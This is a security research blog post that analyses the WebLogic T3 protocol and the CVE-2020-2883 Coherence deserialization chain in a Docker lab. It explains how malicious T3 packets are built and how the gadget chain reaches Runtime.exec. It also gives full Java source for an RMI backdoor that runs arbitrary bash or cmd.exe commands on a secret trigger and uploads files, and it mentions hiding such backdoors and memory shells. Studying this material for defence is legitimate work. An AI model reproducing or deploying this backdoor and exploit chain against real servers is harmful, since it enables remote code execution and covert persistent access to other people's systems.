Weblogic t3 protocol analysis

Vulnerability introduction

There are roughly two types of weblogic deserialization vulnerabilities, one is based on the t3 protocol and the other is based on xml

Vulnerabilities based on the T3 protocol include: CVE-2015-4582, CVE-2016-0638, CVE-2016-3510, CVE-2018-2628, CVE-2020-2555, CVE-2020-2883

Among them, CVE-2020-2883 is a bypass of the CVE-2020-2555 patch, but it is actually similar.

Debugging environment setup

This article tests the CVE-2020-2883 vulnerability and uses docker to build the environment.

Use vulfocus/weblogic-cve_2020_2883 image (weblogic:12.1.3), idea remote debugging

docker-compose.yml configuration is as follows

version: '2'
services:
 weblogic:
   image: vulfocus/weblogic-cve_2020_2883:latest
   ports:
    - "7001:7001"
    - "8453:8453"

Then docker-compose up -d starts the image,

Then docker exec -it /bin/bash, enter the container shell vi /u01/oracle/weblogic/user_projects/domains/base_domain/bin/setDomainEnv.sh

Search debugFlag

add on if

debugFlag="true"
export debugFlag

As shown in the picture

Then: wq save, exit to exit the container `docker restart ` to restart the container, and the server-side debugging environment is set up.

Another problem is that local debugging requires remote running of the jar package or source code of the project. You can directly use dokcer cp to take out the jar package from the image, but the download speed is too slow. I chose to download weblogic12.1.3 locally from the official website. Install the package, then unzip it and put the .jar suffix in a folder as a dependency

Open idea locally, create an empty project, and then set the folders organized above as dependencies, as shown in the figure

Then set up remote debugging, as shown in the figure

In this way, the debugging environment is set up.

The vulnerability test exp uses GitHub – Y4er/CVE-2020-2883: Weblogic coherence.jar RCE, modify the address and port before running

After starting docker on the server and enabling debugging of the local idea, you can connect to the server.

Then add a breakpoint at wlthint3client.jar!/weblogic/rjvm/InboundMsgAbbrev.class#read, as shown in the figure

Here you can see the deserialization process

T3 protocol composition analysis

First, before sending out the t3 protocol data packet, a header must be sent first, for example: t3 10.3.1\\
AS:255\\
HL:19\\
\\

10.3.1 is the local client request, AS is the size of abbrevs, and HL is the header length.

After sending the header, send the t3 protocol data packet and it can be parsed.

abbrevs is a stack. The deserialized object is called abbrev and will be pushed into it. There are three types of abbrev, one is ordinary Object, one is ImmutableObject, and the other is ImmutableServiceContext. These three types of Object will have a prefix in front of them. , the difference is that the ImmutableObject type is ClassTableEntry, and there is a member attribute descriptor of the ObjectStreamClass type (the descriptor will be read first during deserialization, and then an empty class will be created through it, and the field value will be set. So ImmutableObject can also be roughly understood as Class description), the ImmutableServiceContext object is of the ImmutableServiceContext type. It has a data member attribute of the MethodDescriptor type, and data has a signature attribute, as shown in the figure (ImmutableServiceContext can be understood as a description of the method)

A complete t3 protocol probably includes header (the header of the data packet, which is different from the header above), peerinfo, abbrevs

Take a lookup request as an example, as shown in the figure

The first 19 bytes are the header, and the process of parsing the header is as shown in the figure

cmd represents the request type, and flags are as shown above. If it is 1, hasJVMIDs is true, and if it is 2, hashTX is true. responseId will add one to the request id in the server’s response. InvokeableId represents the id of the remote calling method, abbrevOffset: The location of abbrevs (the structure of abbrev is the prefix plus serialization object)

The data after header is as shown in the figure

Before 2, it mainly included “part of the information” and the field of the object. The readClassDescriptor method was rewritten in the MsgAbbrevInputStream class. During deserialization, the desc of Class (the ImmutableObject mentioned at the beginning) will be taken from abbrevs. Let’s talk about this “part of the information”. If it is a context request, this part of the information is Publickey (this part of the logic is in this method wlthint3client.jar!/weblogic/rjvm/ConnectionManagerServer.class#handleIdentifyRequest). If it is another request, this part of the information is to control the reading of a few bytes of the ServiceContext object from abbrevs (this part of the logic is in this method wlthint3client.jar!/weblogic/rjvm/MsgAbbrevInputStream.class#readExtendedContexts)

The bytes after 2 are fe010000, and then aced (the beginning of the serialized object). Let’s call it fe010000 as the prefix.

As shown in the figure, the method in.readLength() for parsing abbrevs reads fe0100. When it is greater than at.getCapacity() (the value of AS in the header request), the following data will be deserialized, otherwise at.getValue( ) (This method generally returns null)

The readLength method is as shown below. When the value of the first byte is 254 (fe in hexadecimal), it will continue to read two bytes: 0100. When converted to decimal, it is 256, which is just larger than the value of AS 255, so it can Deserialization

The readObject method, as shown in the figure, will read the flag of an object type.

So the prefix consists of a length and an object type flag. If you want to deserialize, this flag needs to be 0

In fact, you can set the AS value smaller, such as below 253, and the prefix fe010000 can be changed to fd00.

The t3 protocol parsing process is to read the header first, get abbrevsOffest, parse abbrevs (deserialization), and read Publickey or extendedContext and peerinfo.

Exploit

Deserialization

Knowing the composition of the t3 protocol, deserialization and utilization is simple. Send the header first, and then send a malicious t3 packet: header + prefix + serialized object

Then there is the construction of the utilization chain. Weblogic has a Coherence component. The official introduction is as follows

The ReflectionExtractor class of this component is similar to the Transformer in the CC chain. It can call the method of an object through reflection, and can also connect multiple ReflectionExtractors in series through ChainedExtractor.

The toString method of the LimitFilter class in the Coherence component calls extractor.extract, as shown in the figure

So you only need to change m_comparator to a malicious ChainedExtractor and m_oAnchorTop to Runtime.class to call Runtime’s getRuntime->exec reflectively. As for the toString method, it can be triggered by BadAttributeValueExpException (learned in the CC5 chain). This is CVE-2020-2555 In the exploit chain, the update patch removes the call to extract in LimitFilter’s toString method.

But looking at the Coherence component, I found that there is an ExtractorComparator class, which can be used as a comparator. Recall the CC chain, PriorityQueue uses comparator: readObject()->heapify()->siftDown()->siftDownUsingComparator()->this.comparator.compare(), so it can be constructed with PriorityQueue + ExtractorComparator, this is CVE- Utilization chain of 2020-2883

Echo usage

Because ReflectionExtractor can call any method of any object, TemplatesImpl can be constructed to implement code execution. The payload utilization chain for installing rmi in the https://github.com/Y4er/CVE-2020-2555 project is AnnotationInvocationHandler ->LazyMap->Transformer and then defineClass , then invoke

But if you don’t go online, you need to use echo. Through deserialization, code can be executed, so you can implement a backdoor with echo through java code.

The backdoor needs to use a port to transmit messages. Directly monitoring a new port is most likely to be on the internal network, so it is best to use the functions of the middleware itself and implement the backdoor through a service that has opened the port. For example, register a malicious rmi object and use t3 Protocol remote call

The code to register the malicious rmi backdoor is as follows (this backdoor can be uploaded, installed and uninstalled)

package com.supeream.payload;
 
import java.io.BufferedReader;
import java.io.FileOutputStream;
import java.io.InputStreamReader;
import java.rmi.RemoteException;
import java.util.ArrayList;
import java.util.List;
import javax.naming.Context;
import javax.naming.InitialContext;
import weblogic.cluster.singleton.ClusterMasterRemote;
 
public class RemoteImpl implements ClusterMasterRemote {
    public RemoteImpl() {
    }
 
    public static void main(String[] args) {
        try {
            RemoteImpl remote = new RemoteImpl();
            if (args.length == 2 & amp; & args[0].equalsIgnoreCase("blind")) {
                remote.getServerLocation(args[1]);
            } else if (args.length == 1) {
                Context ctx = new InitialContext();
                if (args[0].equalsIgnoreCase("install")) {
                    ctx.rebind("supeream", remote);
                } else if (args[0].equalsIgnoreCase("uninstall")) {
                    ctx.unbind("supeream");
                }
            }
        } catch (Exception var3) {
        }
 
    }
 
    public void setServerLocation(String cmd, String args) throws RemoteException {
    }
 
    public static void uploadFile(String path, byte[] content) {
        try {
            FileOutputStream fileOutputStream = new FileOutputStream(path);
            fileOutputStream.write(content);
            fileOutputStream.flush();
            fileOutputStream.close();
        } catch (Exception var3) {
        }
 
    }
 
    public String getServerLocation(String cmd) throws RemoteException {
        try {
            if (!cmd.startsWith("showmecode")) {
                return "guess me?";
            } else {
                cmd = cmd.substring(10);
                boolean isLinux = true;
                String osTyp = System.getProperty("os.name");
                if (osTyp != null & amp; & amp; osTyp.toLowerCase().contains("win")) {
                    isLinux = false;
                }
 
                List<String> cmds = new ArrayList();
                if (cmd.startsWith("$NO$")) {
                    cmds.add(cmd.substring(4));
                } else if (isLinux) {
                    cmds.add("/bin/bash");
                    cmds.add("-c");
                    cmds.add(cmd);
                } else {
                    cmds.add("cmd.exe");
                    cmds.add("/c");
                    cmds.add(cmd);
                }
 
                ProcessBuilder processBuilder = new ProcessBuilder(cmds);
                processBuilder.redirectErrorStream(true);
                Process proc = processBuilder.start();
                BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
                StringBuffer sb = new StringBuffer();
 
                String line;
                while((line = br.readLine()) != null) {
                    sb.append(line).append("\\
");
                }
 
                return sb.toString();
            }
        } catch (Exception var10) {
            return var10.getMessage();
        }
    }
}

After using the payload to bind the malicious rmi, you can call the backdoor. There are roughly three steps: obtaining context, lookup, and invoke. In order to get rid of the Java language dependency, you need to manually construct the t3 protocol. Each request can be divided into three parts: header. , peerinfo, serialized object

When the server parses the t3 protocol, it determines whether it needs to read the JVMID through hasJVMIDs, and authentication must be read, as shown in the figure

Authentication can be null (there is a screenshot above, just make the length of the prefix less than at.getCapacity())

The context consists of: ClassTableEntry(PackageInfo), ClassTableEntry(VersionInfo), ClassTableEntry(PeerInfo), authentication, jvmid, jvmid (PackageInfo is the parent class of VersionInfo, and VersionInfo is the parent class of PeerInfo)

Lookup composition: ImmutableServiceContext(methodDescript(“getNameInNamespace()”)), authentication

Invoke composition: ImmutableServiceContext(methodDescript(“getServerLocation(Ljava.lang.String;)”)), authentication

The picture shows the header, context, and lookup requests.

Execute the deserialization code to install the rmi backdoor, and then call the remote method to achieve echo. However, the rmi backdoor registered by this method can be clearly seen on the console (I think you can look at the bind method execution process and how to obtain the console For registered rmi, find a way to only make the backdoor effective, but it will not be displayed on the console)

In addition, you can also write a memory horse and use port 80 to echo (this method is more hidden). The weblogic memory horse code was posted in the previous deserialization analysis.

Yak official resources

Yak language official tutorial:
https://yaklang.com/docs/intro/
Yakit video tutorial:
https://space.bilibili.com/437503777
Github download address:
https://github.com/yaklang/yakit
Yakit official website download address:
https://yaklang.com/
Yakit installation documentation:
https://yaklang.com/products/download_and_install
Yakit usage documentation:
https://yaklang.com/products/intro/
Quick FAQ:
https://yaklang.com/products/FAQ